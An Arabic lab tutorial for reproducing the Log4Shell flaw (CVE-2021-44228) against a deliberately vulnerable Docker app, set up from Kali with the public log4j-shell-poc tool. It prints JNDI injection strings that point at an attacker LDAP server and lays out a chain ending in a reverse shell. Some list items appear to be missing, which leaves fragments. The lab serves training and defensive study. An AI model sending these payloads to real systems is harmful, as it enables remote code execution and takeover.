
# مختبر عملي لاستغلال وفهم ثغرة Log4Shell (CVE-2021-44228) باستخدام Docker وKali Linux وBurp Suite وlog4j-shell-poc. مخصص للتعليم والتدريب الدفاعي في بيئات مختبرية خاضعة للتحكم فقط.
تُعدّ Log4Shell (CVE-2021-44228) واحدة من أكثر ثغرات تنفيذ التعليمات البرمجية عن بُعد (RCE) تأثيرًا على الإطلاق. وهي تؤثّر على Apache Log4j 2، وهو إطار عمل تسجيل (logging) شائع الاستخدام في Java، وتتيح للمهاجمين تنفيذ تعليمات برمجية عشوائية عبر استغلال استعلامات JNDI في رسائل السجلات.
يوفر هذا الدليل مختبر عرض توضيحي كاملًا وقابلًا لإعادة الإنتاج باستخدام:
log4j-shell-pocوهو مصمَّم للتدريس والبحث والتدريب والتوعية الدفاعية في بيئات خاضعة للتحكم فقط. يتبع الهيكل والأسلوب نفس روح ملف README الخاص بمختبر «Shellshock» المصاحب.
poc.py لاستخدام JDK 1.8.0_202curlيجب تنفيذ هذا المختبر فقط في بيئة خاضعة للتحكم حيث لديك إذن صريح (مختبرك الخاص، أو أجهزة افتراضية للفصل الدراسي، وما إلى ذلك).
تُعدّ Log4Shell (CVE-2021-44228) ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في Apache Log4j 2.
تنشأ المشكلة لأن إصدارات Log4j2 الضعيفة تفسّر سلاسل نصية يتحكم فيها المهاجم مثل:
${jndi:ldap://ATTACKER_IP:1389/a}
عندما يتم تسجيل هذه السلسلة النصية، يقوم Log4j بـ:
في هذا المختبر، ستقوم بـ:
log4j-shell-poc.curl وعبر Burp Suite.بحلول نهاية هذا المختبر، يجب أن تكون قادرًا على:
تعمل جميع المكونات فوق بيئة مختبرك الافتراضية الحالية. نفترض في هذا الشرح ما يلي:
| المكوّن | الدور / الوصف | الأدوات / الخدمات | عنونة مثال |
|---|---|---|---|
| جهاز Kali Linux الافتراضي (المهاجم + المضيف) | يشغّل استغلال إثبات المفهوم، وخادم LDAP، وخادم HTTP، ومستمع Netcat، وBurp Suite | Python 3، JDK 1.8.0_202، Netcat، Burp Suite، Docker، curl، Git | 192.168.1.4 (مثال على عنوان Kali) |
| تطبيق ويب Log4j2 الضعيف | الهدف؛ تطبيق ويب Spring Boot ضعيف أمام Log4Shell | صورة Docker: ghcr.io/christophetd/log4shell-vulnerable-app | مكشوف على http://127.0.0.1:8080 |
الفكرة الأساسية
يقوم المهاجم بحقن:
${jndi:ldap://192.168.1.4:1389/a}
في ترويسة HTTP. يسجّل التطبيق الضعيف ذلك باستخدام Log4j2 ← ينفّذ استعلام JNDI عبر LDAP إلى 192.168.1.4:1389 ← ينزّل فئة خبيثة من http://192.168.1.4:8000 ← ينفّذ الفئة، التي تفتح صدفة عكسية إلى 192.168.1.4:9001.
على Kali ستحتاج إلى:
nc).في جميع أنحاء هذا الدليل، نفترض أن عنوان IP الخاص بـ Kali هو:
192.168.1.4
إذا كان عنوان IP لديك مختلفًا، عدّل جميع الأوامر وفقًا لذلك.
تعتمد أداة إثبات المفهوم على Java SE 8 Update 202 (JDK 1.8.0_202) لأن إصدارات Java الأحدث تقيّد سلوك التحميل البعيد للفئات الذي يستخدمه هذا الاستغلال.
حتى إذا كان Kali يحتوي بالفعل على OpenJDK 21 (أو ما شابه)، فلا يزال يتعين عليك تثبيت 8u202 بشكل منفصل.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
جذر المرآة:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
نزّل الحزمة المضغوطة Linux x64 (بحجم ≈185 ميغابايت):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # should be ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
يزيل خيار --strip-components=1 الدليل العلوي من الأرشيف بحيث تستقر الملفات مباشرةً تحت /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
المخرجات المتوقعة:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
إذا رأيت هذا، فـقد تم تثبيت JDK 1.8.0_202 بشكل صحيح.
في نافذة طرفية جديدة على Kali (يمكنك البقاء في ~/Log4Shell):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
يجب أن ترى سجلات مشابهة لما يلي:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ من Kali.فحص سريع للتأكد:
curl http://127.0.0.1:8080/
قد ترى صفحة خطأ Whitelabel (HTTP 400). لا بأس في ذلك — كل ما نحتاجه هو أن يكون التطبيق قيد التشغيل ويسجّل الطلبات.
log4j-shell-pocفي نافذة طرفية جديدة:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
تأكد من الملفات:
ls
# poc.py, target/, README, etc. Exploit.java will be generated later.
poc.py لاستخدام JDK 1.8.0_202